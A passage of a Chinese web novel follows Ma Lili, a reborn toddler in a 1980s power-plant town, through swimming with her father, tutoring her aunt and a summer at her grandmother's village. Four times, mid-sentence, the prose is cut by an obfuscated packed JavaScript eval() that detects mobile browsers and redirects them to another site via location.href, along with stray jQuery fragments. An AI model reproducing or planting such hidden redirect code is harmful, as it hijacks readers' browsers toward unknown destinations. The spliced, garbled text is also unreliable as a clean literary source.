马丽丽当然是会游泳的，但她也不能天才到不练习光看就学会吧，所以她也只好让老爸用毛巾栓着自己的腰“游”了两圈。说实话，这种方法也不是绝对安全，主要是重心不好把握，一不小心就会…… “咕嘟咕嘟。”马丽丽一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034553|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栽进水里喝了两口水，然后腰上一股力量把她提出水面。 “咳咳，爸！” “啊，没事吧？” “有！” “哎呀，就喝了两口水，没事没事。” “我要自己游。” “……好吧。” 坦白了，不装了，我就是游泳小天才！ 马天华把毛巾给马丽丽解下来，马丽丽蹬着小腿扑腾着游了一小段狗刨式，小裙子跟个水母似的呼扇呼扇的。 “不错呀，莉莉，你看你们都叫lili，人家马丽丽可游得挺好。”旁边朱莉莉小朋友的爸爸拎着她就跟拎块猪肉似的。 朱莉莉：“QAQ” 另一边看着自己儿子坐着扑水玩怎么都不肯游起来的爸爸接口说：“是啊，我也听说马丽丽小朋友在托儿所做什么都很厉害呢，马医生，还是你们教的好，不愧两口子都是文化人。” “哎呀，这么小的小孩子，有什么厉害不厉害的。”马天华不以为然。 “那挺厉害啊，马丽丽，你是不是会自己穿衣服穿鞋上厕所？” “呃？” “唉我家儿子都三岁了还不会上厕所，昨天又尿一身给送回来了。” “我家的也是！今天中午睡觉起来鞋都穿反了也不知道找老师，就这么穿了一下午，回来才发现。” “我儿子冬天吃饭老是弄湿衣服，教也教不会，昨天回来才发现裤衩子竟然不见了，唉。” 马丽丽的爸爸抹了一把脸，马丽丽从来没这些问题，他插不上话啊。 马丽丽站在水里看了一眼朱莉莉和另一个托儿所同学， 这俩一心一意在划水，完全不知道自己的黑历史都被老爸们曝光了。 “闪~开~”台阶上有人大喊，一个黑色的汽车内胎“duang，duang，duang，duang，啪！”一路蹦跶着跳进河里，然后迅速被玩水的男孩们欢呼着包围起来。 轮胎就是夏日里游泳时最受欢迎的游泳圈，每年夏天都有那么几个孩子能带来游泳，有的轮胎上还打着补丁咧。 曾经每年都需要买一个游泳圈的马丽丽非常羡慕有轮胎的孩子，也不知道他们的轮胎是哪来的……后来才知道其实是因为家长是车队的啦，而且是借用车队的，过完夏天还要还回去的。 不过也够让人羡慕，夏日有轮胎的都是大佬！ 丽丽和朱莉莉的爸爸相互把小孩子托付给别人，轮流出去游了两圈。朱爸爸回来的时候浅水区已经人声鼎沸了，尤其是几个小男孩在打水仗，不过很快他们就被其他人制止了。 朱爸爸抹了一把脸上的水奇怪的问：“怎么这么多人？前几天都不会。” 啊，这个马爸爸倒是知道，“是因为考完期末考试了吧？”家里有个老师就是方便。 “原来是这样，哎，那不是放暑假了吗！”朱爸爸说，“那到时候玩水的可人多了。” “那倒是，十五号放假吧，过两天就是了。” 对于暑假两个爸爸倒没什么感觉，自家孩子还没到上学的时候呢，该烦恼的是那些小学生的家长们吧。 三个托儿所小朋友早就累了，他们仨趴在石台上向下看，水里有许多拇指大的小鱼贴着石头坡坝游来游去，河水很清澈，坡坝上也不长水草，所以看得很清楚。马丽丽这会儿特别想有根线和蚯蚓，别看这种小鱼长不大个头就这么点儿，但是晒干或是炸一炸都好吃。 幸福小镇附近的另一个镇里有一种特别的吃法，据说那里某乡有一条溪的中间一段里长的这种小鱼细嫩无骨，所以他们那的人会将小鱼跟辣椒放在一起生腌，等辣椒腌好了小鱼也好了，就这么生吃。 马丽丽也吃过，她不敢嚼，小小一条咕咚一下滑进喉咙，跟猪八戒吃人参果似的，除了辣也不知道有啥味。 正想着呢，马丽丽突然被爸爸抱了起来，马天华摸了摸她的衣服和头发，“衣服都干了，回吧。” “好哒。” 26.第二十六章 马天华收拾好东西，跟别人打了招呼，领着马丽丽往回走。 “我们也走了。”朱爸爸带着朱莉莉也一起回。 朱莉莉上了几个台阶便拉着朱爸爸的裤子，“爸，抱我，抱我。” “不抱，你看人家马丽丽，不也自己走吗？” 马丽丽原本也想让爸爸抱她上去呢，闻言立刻有了偶像包袱，咬咬牙快速跑上台阶。 “马丽丽，你等等我。”朱莉莉见状也赶紧追了上去。 两位爸爸有一搭没一搭的说着话爬上石阶，看见两个丽丽在上头等着他们。 “爸，票！”马丽丽叫着爸爸。 “爸，票。”朱莉莉也学着叫了一声。 马爸爸：“……” 朱爸爸：“……” 朱爸爸没带冰票，然而朱莉莉才不管这个，为啥马丽丽能吃冰棍她没有？“我也要，我也要！” 马丽丽舔了舔冰棍，递到朱莉莉面前，“给你咬一口吧。” 朱莉莉在她爸爸尴尬的眼神中不客气的在冰棍上咬了一口，然后被冻的呼哈呼哈的。虽然如此，但等她嘴里的冰棍吃完了，朱莉莉又眼盯着马丽丽的手。 马丽丽：“……” 马丽丽：“我再给你咬一口，但明天下午幼儿园的冰棍你也要让我咬一口。” 朱莉莉满脑子是冰棍，根本没听清马丽丽说的是啥就连连点头。不过马丽丽并没有理会她，而是转过头对朱爸爸说：“叔叔，你听见了？朱莉莉说明天还我一口冰棍。” 朱爸爸：“……啊，对。” 马丽丽：“那你明天记得跟老师说啊，再用笔在朱莉莉胳膊上写起来，不然她会赖皮的。” 朱爸爸：“……啊，好。”有这么个女儿，可真够丢脸的。 马爸爸：“……”其实我也觉得有点丢脸啊。 马丽丽这才把已经开始滴水的冰棍给朱莉莉咬了一口。 朱爸爸听到自家女儿会赖皮的时候只感觉脸上无光头上冒烟，马天华也尴尬的说：“哎呀，丽丽，你给同学吃一口冰棍怎么了，还要还什么。” 两个丽丽听见同时回头，马丽丽嗦了一口冰棍水，不耐烦的说：“爸爸，你们大人别管我们小孩的事好吗？” 马爸爸：“……” 朱爸爸：“……” 其实倒不是马丽丽斤斤计较这一口两口冰棍……好吧，她就是计较，这年头零食基本只能靠大自然馈赠，让吃惯各种零食的马丽丽十分嘴馋，这是一口冰棍吗？这是嘴里挖食啊，在托儿所吃冰棍还有小朋友躲起来吃呢，她要求还一口怎么了。 第二天朱爸爸送女儿上托儿所的时候果然在朱莉莉小臂上用钢笔写了一行字：“朱莉莉小朋友借了马丽丽两口冰棍，用今天下午的冰棍还两口。” 啊，还挺上道。马丽丽挺满意。 托儿所的老师们都乐得不行，她们逗马丽丽：“你认识这写的啥吗？” “当然啦。”马丽丽有了托，也不掩饰自己识字的本性，“就是朱莉莉下午还我两口冰棍。” 意思到了就行，老师们都同意了，朱莉莉哭唧唧不同意也没用，谁让她欠债了呢。 学校放假后姥姥家拿冰的事就由小舅舅徐高远全面负责了，他每天中午差不多快十一点半才去冰厂拿冰，就是希望能将中午的凉快时光延长一些。 徐明惠一家子现在中午也过来吃饭，快到中午时徐明惠就过来帮助做饭，处理冰的事自然也交给了她。 马丽丽中午然后也被接回来吃饭，今天来接她的是小姨徐明红。徐明红拿着一把大蒲扇一个劲的扇，扇出来的也是热风，她不耐烦的站在托儿所门口等着，看见老师牵着马丽丽过来，她立刻举手挥了挥扇子，“丽丽，快点儿。” “哎呀，着什么急嘛，快了会热的。”马丽丽不紧不慢的说，其实托儿所里种了不少桔子树柚子树枇杷树，不缺阴凉，也不会太热，习惯了后世夏天动不动就三十五六度三十七八度的高温，现在三十二三度的气温也不是那么难以忍受。 真正让马丽丽受不了的是托儿所食堂那单一的饭菜，依然是什么便宜买什么，少油少盐绵软的两个蔬菜，和一人一片肉的丝瓜汤。 马丽丽：我能受委屈，但我的嘴巴不行。 一进家门徐明红顿时“哈”了一声，马丽丽也狠狠的打了一个抖，全身鸡皮疙瘩都竖了起来。 屋子里开着灯，十分凉爽，饭桌上放着碗盆和砧板，桌下放着冰盆。徐明惠坐在沙发上掐着豆角，徐高远在剥蒜，孙梅在切切切。 “回来啦？洗手洗脸去，小红，给丽丽擦擦脸。”孙梅抬头看了一眼，“饭煮好了，马上就炒菜了。” “好勒。”徐明红十分愿意干这个，她在晒得温热的自来水里兑了点冰水，凉快。洗了脸的水也不浪费，拧一把毛巾擦一擦身子，最后倒在桶里呆会儿拖地用。 客厅里菜肉都准备好了装在碗里，几人利索的把饭桌上的东西全都收拾到厨房去。 徐高远带着碗筷出来摆好，小红和丽丽正在聚精会神的看《西游记》，他从冰盆里摸出一根带刺的黄瓜，用手一撸，把刺撸掉，一掰两断，塞进两人手里，然后又摸起一根同样操作，一边咔嚓咔嚓的加入了围观取经的队伍中。 “马上吃饭了你们还吃黄瓜。”徐明惠端着一大碗粉丝拌黄瓜出来放在桌上，她就着弟弟的手把他正吃的黄瓜掰下一节来啃了两口，把碗推过去，“拌一下，等下就能吃了。” “啧。”徐高远几口吃完，郁闷的端起碗。 一会儿菜陆续炒好端上了桌，马天华和徐正义也下班回来了，他俩满头大汗，倒是先用温水擦了擦汗才上桌。 “小红，丽丽，别看电视了，过来吃饭。”孙梅把最后一道菜端上桌。 “好~”马丽丽拖过高凳坐在徐正义和孙梅的中间，定睛一看，好家伙，丝瓜汤，苦瓜炒蛋，小南瓜炒肉，粉丝拌黄瓜，这是跟瓜干上了。 “丽丽，吃点苦瓜，清火。”徐高远不怀好意的给马丽丽夹了一筷子苦瓜。 哼，马丽丽撇了一下嘴，她又不是真的小朋友，才不怕吃苦瓜好吗，她假惺惺的迅速舀了一勺丝瓜倒进对方碗里，“小舅，你喝汤呀。” 徐高远：“……”他讨厌这种滑溜溜像鼻涕一样的东西。 这一局，马丽丽小胜。 吃着时徐明惠说了一件事。 “爸，你说我们要不要趁放假去给你复查一下？都大半年了，正好我和小远现在都有时间。” 去年徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037992|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正义去粤市动手术差不多是十月十一月的时候，那会儿徐明惠和徐冬来都是请假去陪护的，花钱不说，不上班的时候还没工资，也是没办法，如果能趁着放假去的话，至少不会扣工资。 徐正义还想着呢，徐高远先说了：“我是可以，但是现在去也太热了吧，而且隔壁孙工那心脏病，他不知道能不能支持得了。”言语间自然默认孙振华老两口也要一起带去的。 孙梅也觉得太热了，但是钱也是大问题，她自然的看向女婿，“天华，你是医生，你觉得怎么样？” 徐正义有些不耐了，他给马丽丽喂了一颗花生米，然后说：“唉这么麻烦，不去复查也行吧？我也没感觉有什么不舒服，应该没问题的了。” 马天华也拿不好，毕竟恶性肿瘤普遍认为是绝症，徐正义是早期发现切除，能不能完全治好会不会有影响他也不知道，所以他谨慎的说：“身体因素对复查肯定也有影响，我先前也给粤市上班的同学写信问了一下，完全切除也不能排除复发的可能，主要是平时要注意身体，烟酒是肯定必须要戒的。不过复查是一定要复查的，最好能先拿病例本去问一下医生，看那边怎么说。” 这倒也是。 徐明惠：“行吧，那先问问再说，反正还早呢，最多不行就请假了，到时候我跟小远正好可以相互代课。”他俩都是初中数学老师。 马丽丽听了半响，突然说：“那如果是寒假才去，妈，我也要去。” 徐明惠瞪她一眼，“你去什么，我们又不是去玩的。” 马丽丽撒娇了两句便没有坚持，这事儿本来也不是现在能定下来的。 吃完饭徐明惠两口子照例提了一小桶冰水回去睡觉，马丽丽却挤进小姨的房间里。 “你干嘛要睡我这里？”徐明红不太开心，她正是有洁癖的年纪，不想让一身汗的马丽丽睡她床上。 马丽丽就说了一句话“那你还想让我帮你写作业吗？”便叫徐明红无语了，她赌气的倒在枕头上不给马丽丽用，马丽丽也不在意，反正她不用也可以。 虽然是大中午，房间又是西晒的，但拉上窗帘，在床脚放一盆冰水，床上局部范围还是挺舒适的。可是两个人不说话的平躺好一会儿，硬是睡不着。 马丽丽还想着怎么磨着妈妈带她去粤市的事，又想着手头没啥钱可真是难啊，突然身边徐明红翻身起来抓着她摇了几下，小声叫道：“马丽丽，马丽丽，你才三……四岁，为啥就会做初中的作业啊啊啊啊！” 马丽丽晕了一会儿才听明白，她脱口而出：“因为不难啊。” 她倒是真这样想的，毕竟是八十年代的初中，可没有几十年后这么卷，数理化只要背下公式多练习做题就会了，语文英语就不用说，对她来说更简单。 等上了高中，知识难度陡然上升，有机化学加入，那分子式就跟吃了菌子后见着的小人似的琢磨不定，物理小车忽快忽慢，一边加速一边减速，数学的图形从平面变立体，函数图跟心电图也差不了多少了。 如果不是为了文凭，这个破书真是不想读了——当年马丽丽是真这样想的。 不过现在马丽丽还是打算好好读这个破书的，毕竟她不是真小孩子了，目前最大的优势就是趁大家还不卷的时候赶紧卷起来。 27.第二十七章 此时凡尔赛还只是个名词而不是形容词，否则徐明红大概把这宫殿扒了的心都有，不过这会儿她也只能深吸一口气平躺下安慰自己，“外甥女，我姐生的，亲的。” “可恶！”还是好气啊。 呃……马丽丽心说她其实就是开了个挂，而且也不知道这个挂能开多久，马丽丽其实很有自知之明，她上辈子的天赋就是到初中为止，高中之后学的一塌糊涂结果只考了个二本，这次她的目标也就是努努力争取考个好点的大学，也好让未来多点选择。 “要不我来教你不会的？”马丽丽试探的问了一下小红。 “啊，算了吧。”徐明红浑身散发着咸鱼的气息。 电厂的小孩读书都挺随心所欲的，反正职工子女进厂都有优惠政策，初中后考一个电力或是水力的中专——中专的含金量挺高还不一定能考上，那就读高中，等高三分文理科的时候直接进技校补习班，考上技校也能回厂当个普工，这个分数线比一般大学都低，基本都能考上然后回厂里上班。 除此之外还有顶班的政策，家里大人退休后，可以有一个小孩顶上这个班。 有这个打底，能考上中专/大专/大学的，自然包分配，考不上的也能进厂，所以学渣的学习动力不足也是正常的。 马丽丽已经知道家里准备安排小姨顶姥爷的班了，上辈子就是这样，因为姥爷病故，高三读到一半的小姨匆忙辍学顶了班，之后就平淡无奇的结婚生子，做了几十年的小文员然后提前退休。 虽然衣食无忧，但偶尔马丽丽也曾听她感叹如果当年要是能考上中专就更好了，就算能读完高中也好啊，即使依然回厂，大概也不会一直做文员这样，前途一眼望尽。 如今重回初三，马丽丽觉得还是可以努力一把，实现小姨的梦想的。 “所以你不想考个中专再回来吗？以后可以坐办公室哦，如果你只想着以后读技校，回厂进车间要上晚班的哦。” 徐明红并无所谓，直到马丽丽说了一句：“那你读中专的同学可就比你大了，是你领导，以后你得在同学手下干活了。” 这句话不知怎么的就刺激到了徐明红，她瞪着眼问马丽丽：“我都马上初三了才开始努力还有用吗？别废了劲又考不上。” 马丽丽翻了个白眼，“不开始努力就肯定考不上，咬咬牙也就一年了，反正以后又不是我看同学脸色上班。” 徐明红在脑中代入了一下某人和某人成了她的顶头上司……还别说，她们都是放话准备考中专的。咬牙，不能忍，算了，不就是读书吗？马丽丽可以她也可以！ 热血一上头，徐明红开始跟马丽丽一起早读，马丽丽的早读也从家里转移到姥姥家。不是马丽丽吹，她的单词量比徐明红可多多了，虽然她学的很零散，却也比一直在学校学习的徐明红要好。 所以指导指导小姨，没问题吧？ 学英语的重点之一就是记单词，什么拆分法、联想法、曲线法……那是一个都没用上，就是先读课文，读通读顺，马丽丽就负责纠正读音。 一开始徐明红读得结结巴巴，很是气恼，读了几天后慢慢开始变的顺畅，她也渐渐感觉出乐趣来。 至于数学，家里两个数学老师，小红一说想补课，二哥立刻自告奋勇，反正闲着也是闲着，天太热，单身宿舍也呆不住。只是马丽丽也跟着趴旁边听讲就让徐高远觉得有点扯了。 “你个小屁孩，你听得懂吗？”徐高远问。 “不知道哇，我得听了才知道。”马丽丽说。 这逻辑，好像没什么不对，又好像怪怪的，不过徐高远没有纠结，比起这个，妹妹的成绩差点没把他气死。 “徐明红同学，请问你初一时的数学课都没上吗？这么简单的公式都背不下来，你还怎么做题？你的数学老师是哪个？” 徐明红：“王老师。” 徐高远：“……” 王老师是教务主任，徐家从徐明惠到徐明红他都教过，是个老资格，徐高远也没办法说什么。 听说小妹要发愤图强，徐明惠也来了兴致，两个初中数学老师教一个学生，二对一，还能轮个班，一个负责巩固基础，一个负责题目扩展，就是苦了徐明红，面对哥姐的“爱护”，那可真是……太开心了。QAQ 马丽丽：“……” 这几天马丽丽还想着找机会磨爸妈去粤市呢，突然有一天被爸爸通知明天要去奶奶家过暑假。 好吧，那就去呗。 照例又是大包小包的包子馒头花卷，夏天又是瓜果蔬菜多的时候，虽然马天华一个劲的推辞，孙梅还装了一大提兜丝瓜、苦瓜、黄瓜、茄子、辣椒、刀豆和空心菜等让女儿带去。 “妈，真不用，不好带，再说老家都有。”马天华是真心不想搞这么麻烦。 孙梅不以为然，“有什么不好带都是坐车，放地上就行，再说这菜不摘就老了，家里头就这么几个人也吃不完。”说完她一挥手，“反正不用你拿，明惠拿就行。” 马天华唉了两声，也不好再说。 孙正义也给了马丽丽几张纸，上面是他手抄的几篇俄语和英语小文，“这是你这几天的作业，你每天要读几遍，读顺，搞懂大概意思，不会读的单词划起来，到时候一起问我。” “啊？好。”马丽丽还没反应过来，只当是课外作业，等到了奶奶家过完周末爸妈两人回去不带她，她才知道原来她是要在奶奶家呆半个月。 “就不能跟我说一声吗？”崽崽无语，崽崽生气气。 “现在不就跟你说了吗？好了，丽丽在奶奶家要乖乖听爷爷奶奶的话好不好，”徐明惠蹲在女儿面前说完便要站起来，却被马丽丽拉住衣服。 “你是不是要偷偷带姥爷和孙爷爷去粤市不想带我？” “啊？”徐明惠晃了一下神，倒是没想过这事儿，“不是。” “你是不是要去粤市嘛。” “不是，不去啊，你听谁说的？” 徐明惠原本是觉得没必要说，这会儿只好跟女儿解释，“你爸和孙叔叔都去问过了，暑假太热，所以我们打算寒假再去。” “那你到时候带我去。” “不行，小孩子去什么，我们是去看病，又不是去玩。” “我坐车又不要买票，住也不多花一张床，带我去带我去嘛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044355|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正站在大门口观望的马天华扭头叫道，“还在干嘛，车来了，快走。” 徐明惠赶紧抓起行李就要走，可是马丽丽丽还要纠缠，她只好敷衍的说：“行行行，到时候带你去。” 马丽丽这才放开她。 马丽丽站在门口看着爸妈一路小跑到大路，电厂的交通车缓缓驶过石桥，滑过小杂货铺，停在爸妈的面前，爸妈抓紧时间挤上了车，关上门后，交通车又慢慢加速，冲上长坡，消失在眼前。 “丽丽，赶紧回来，这么晒不热吗？”奶奶举着个大蒲扇站在屋檐下叫道。 “哎，来啦。”马丽丽回身小心走过去。 小老太太穿着一套软布的七分裤短袖褂子和拖鞋站在门口阴影处，她嘴角耷拉着一看就是脾气不好的样子。 “奶奶拉我。”马丽丽一点不怕老太太，她伸手让奶奶牵着她跨过排水沟，对于一个小短腿来说这沟还真有点宽。 “去，让你婶婶给你洗洗手，拿个黄瓜吃。”奶奶没有动，依然站在阴影里。马丽丽闻言只好慢慢走到院子的另一头。 隔着朱红的鸡冠花和指甲花，芭蕉树和柚子树下的水压井，前面一小块水泥地上放着个大缸，缸上横着半个竹筒过水。 前几天大缸刚刚被洗刷了一下，新装的水里头泡着马丽丽爸妈带来的瓜果，还有两个西瓜。 正是最热的中午，六婶何夏忙着给几个水桶都装满水，这些水在太阳下晒到下午正好洗澡，不费柴。五婶方华就蹲在缸旁边洗着晚上做饭要用的蔬菜。 “五婶，帮我洗手。”马丽丽小心的踩着水走过去。 “哎呀，丽丽还知道我是谁啊？”方华笑着拉着马丽丽蹲下来，就着洗菜盆帮马丽丽洗了洗手，又从缸里捞了一根带刺的黄瓜擦了擦给她。 “丽丽聪明。”何夏大概是个社恐的性子，对着不怎么常见到的小侄女只讪笑的尬聊了一句。 “谢谢五婶，谢谢六婶。”马丽丽拿着黄瓜礼貌的道谢回去，这边排水沟上搭着木板，倒也不用奶奶扶，她自己就过去了。 “奶，走，回屋。” “走。” 一老一小手牵手跨过门槛进了堂屋，高屋大堂的一进来顿时就感觉凉快不少，堂屋两边靠墙都各放着一张竹春凳，也就是长椅，马冬山和马冬剑一头大汗脚并脚在一张春凳上睡着，一个把脚蹬在靠背上，一个把脚放在哥哥肚皮上。 马洁睡在另一个春凳上，她原本应该是跟马丽丽睡的，不过这会儿她一个人独享了。 大黄伸着舌头趴在石板地上喘气，几只小母鸡在它面前踱来踱去，不时的在地上磨磨喙，企图屋子里找点东西吃。 “奶奶，给。”马丽丽拉着奶奶坐到竹椅上，奶奶就着她的手用指甲掐下一段黄瓜，两人坐着吃起来。 中午连过堂风都是热呼呼的，被井水泡过的嫩黄瓜上的刺都被撸干净了，吃起来冰凉又多汁，黄瓜味十足。 马丽丽嚼着黄瓜对奶奶说：“奶，你又跟五婶吵架了。” “胡说，大人不会吵架，我才不会跟她吵，是不是她跟你说的？哼。” 所以就是吵了嘛。 28.第二十八章 唉，所谓近臭远香，天天住一起哪能不磨牙，尤其是五婶现在放暑假了天天在家，至于六婶……她是宁愿大热天呆在厨房也不跟公公婆婆在堂屋的。 马丽丽不打算继续这个话题，她说：“这黄瓜好吃呗奶，下次叫我爸再带点来。” 奶奶慢条斯理的咬了一口，道：“又胡说，你外婆（马丽丽：姥姥），姥姥还不得说你爸啊，哪有老拿丈母娘种的菜给兄弟家吃的。” “给你和老dia吃又不是给爷叔他们吃。” “我俩能吃几个啊，还不是你婶婶几个吃的多，一家子多少人啊。” 看来这婆媳关系确实自古是难题啊，马丽丽觉得自己是不是太敏感了，于是装傻：“没事，我爸也浇水来着，你和老dia吃剩的再给爷叔吃。” “小滑头。”奶奶看了马丽丽一眼，用蒲扇拍了她一下。 “奶，什么是小滑头？”马丽丽继续装傻。 “就是你。”奶奶又拍了她一下。 玩闹归玩闹，奶奶跟马丽丽说：“别跟你爸说，他要能想起来拿点就拿点，我也不伸手讨，老大包小包的拿东西回来，你妈该不高兴了，你伯伯爷叔也不喜欢。” “我知道我知道，这就是患寡而患不均，对吧奶？” “呦，你还挺会的，毛子话学得怎么样了啊？” “挺好的，我都能跟孙爷爷对话了，还有英语，奶你知道吧？英格里希，嘻嘻。” “那你说点我听听。” 于是马丽丽一口把剩下的黄瓜啃完，把瓜屁股扔给小母鸡，几只小母鸡蜂拥而上，她也开始了她的表演。 先来段英文Rap……绕口令，再来个小剧本对话，奶奶听了都点头。 “教你英语的老师是在苏国学的吧？” “奶奶你咋知道的？” “我怎么不知道？听起来一股毛子味。” “呃…！” 马丽丽自我感觉良好，什么伦敦音纽约音，当年她就没学明白，不过她这绕口令明明是跟着BBC学的，怎么也有毛子味？ 奶奶正要说什么，突然马冬剑“咕咚”一下从竹凳上掉了下来，掉下来好像还没醒，闭着眼睛过了两秒钟，这才大哭了起来。另外两个小朋友一下被吵醒了，于是开始了三重奏。 奶奶没有马上动弹，而后才撑着膝盖“慢慢”站起来，这时在厨房听到动静的两个儿媳妇赶了过来，她们见儿子大哭，还有一个躺在地上，自然心疼不已，可是婆婆在屋子另一边呢，也没法说什么，只好抱着各自儿子哄起来。 这会儿奶奶这才走到大哭的马洁身边，胡噜了一把她的头发说：“好了，哭什么，这一头汗的，醒了就起来，丽丽都要笑你了。” 我才没有！马丽丽无声抗议。 不过这话对马洁挺有用，她吸了吸鼻子，睁开眼摇摇晃晃的从竹凳上爬起来。 “小洁，喝水去吗？”马丽丽问堂姐。 “好。”马洁用手抹了一把眼泪，发现抹不干净，她正准备撩起衣服擦脸，被奶奶嫌弃的挡住，“叫婶婶给你们都洗把脸。” 啊……好的，儿媳妇们带着仨孩子出去了，吵闹声很快转移到了水井那边。 马丽丽故作深沉的摸了摸下巴，突然又问奶奶：“奶，你还说没跟婶婶她们吵架。”不然干嘛都没有说话？ 奶奶把手里的蒲扇拍的啪啪响，“别瞎说了，大人可不会像小孩子一样。” 瞧这样子，是吵赢了。马丽丽点点头，表示理解。 唉，婆媳关系本就复杂，她奶家的复杂可是*6的。 不多一会儿，外面仨小孩又啊啊叫着跑了回来，在门口停下，爬过门槛，每个人手上都举着半截黄瓜。 马冬剑正张嘴呢，就看见奶奶坐在前头面无表情的看着他。 本来俗话说过，“小儿子，大孙子，老太太的命根子”，马冬剑跟他爸这两样都占齐了，可是偏偏老太太生性要强，平生最讨厌笨蛋，马冬剑作为一个不太机灵的普通小孩子，男娃，又是家里常驻仨孩子中最大的那个，在别人身上是优势在他这全是BUG，再加上农村孩子，平时总是玩得脏脏的，老太太对上他就总觉得有点气气的没个好脸。奶奶越是这样，大孙子就越是怕她，结果就是恶性循环。 不过这会子马冬剑还是鼓起勇气把手里的黄瓜伸到奶奶面前，“奶，奶奶，吃，吃黄瓜。” 奶奶见他这副畏畏缩缩的样子又是气不打一处来，我是要吃了你还是怎么的啊，这个表情，可是孙子把自己的吃食供上来也是孝顺，于是奶奶难得和颜悦色的对大孙子说：“奶奶不吃，你自己吃吧。 ” 不成想马冬剑一脸惊恐的瞪大了眼睛，蹬蹬蹬退后几步转身想跑，突然又转过身来把原本坐在奶奶身边蹭扇子的马丽丽一把拽起来，拖着她就向外爬门槛，几个小孩子又叫着跑走了，原本趴在地上的大黄也吐着舌头跟着跑走了。 奶奶：“……”这死孩子真是不能要了，还是回房间看杂志吧。 几个小屁孩一路跑到后坡，马冬剑大呼了口气，“奶奶好凶哦。” 另两个小屁孩点头同意。 马丽丽怂恿：“那是你没有对奶奶说过喜欢她啊，所以她就不喜欢你。” “啊？”马冬剑觉得脑子不太够用。 马丽丽继续怂恿：“下次你对奶奶说喜欢奶奶，她就不骂你啦，你看她就不骂我。” “哦~”三小只想到刚才看到的马丽丽坐在奶奶身边的样子，觉得她说的很有道理，下次试试看。 “现在我们去哪？”马冬山奶声奶气的问。 “我们去jiajia家吧。”马洁说。 “走呗。” 于是四个小孩一起沿着小路向上走，小路边有一小丛一小丛的毛竹，竹叶在长大前是卷成一小根的，拔下来可以串成一个圈戴在手上，把几个小圈串在一起就是“项链”。 四小孩在手上戴了许多，就跟电影里的印度人似的，马洁还一边舞着小手一边“啦啦啦”哼唱电影里学的印度调子。 jiajia家是离奶奶家最近的邻居，jiajia是老俵话，马丽丽也不知道用普通话说是什么意思，反正大家都这么叫她，她偶尔会来奶奶家挑水。 这里的农村都讲老俵话，jiajia会讲一点普通话，马丽丽平时见到她还会打个招呼，明明应该比婶婶们年轻的女子，看起来却比婶婶们要老一些。 天正热，可是马丽丽他们来的时候，jiajia却正在屋外头打草鞋。 虽然塑料凉鞋已经开始流行，但草鞋在农村还是有人穿的。马丽丽十分稀奇，便蹲在jiajia身边看她编草鞋。 “细妹伢子来了啊？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048292|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' jiajia对四小只的到来并不在意，只抽空跟马丽丽搭了一句话。 早稻割完了，稻草也不能浪费，除了能烧灶、做霉豆腐、包坛子之外，编东西也是很重要的用途。 晒得脆脆的稻草需要用水泡再晒干，然后搓成草绳，把条凳翻过来，把草绳挂上去，像编草席一样将稻草纵横交错的编到草绳上，再编个草鼻子或是绊子，最简单的草鞋底就编好了。 jiajia把草绳剪短，又把草头修短修平，用一个长方体形的木块把鞋底里用力压压平，这就行了。她摸了摸像个小簸箕的草鞋底，还挺满意，然后拿起旁边用碎布头烂布片搓的布绳串进草鼻子和绊子里，这一只草鞋就做好了。 jiajia把草鞋扔到一边，那里已经有好几只编好的草鞋，马丽丽蹲累了站起来活动活动，jiajia刚才就很奇怪了，这小孩看她编草鞋看这么久，又不是什么好玩的东西，她便对马丽丽说：“你怎么不去玩啊？”她示意了一下旁边。 我去！马丽丽这才注意到，自己两个兄弟正在玩人家家的水压井。 jiajia家也是有井的，但出水不太好，所以她有时会到马丽丽奶奶家挑水。不过这会儿井还是出水的，因为两个男孩正抓着把手当跷跷板玩呢。 jiajia家的井前没有缸，直接对着水泥地，大黄就站在水泥地这张着嘴开心的玩水，一会儿又化身甩水器，把水甩得到处都是，马洁在旁边跑来跑去的。 很好，三人一狗都湿透了。 马丽丽看见，马丽丽无语，马丽丽气死。 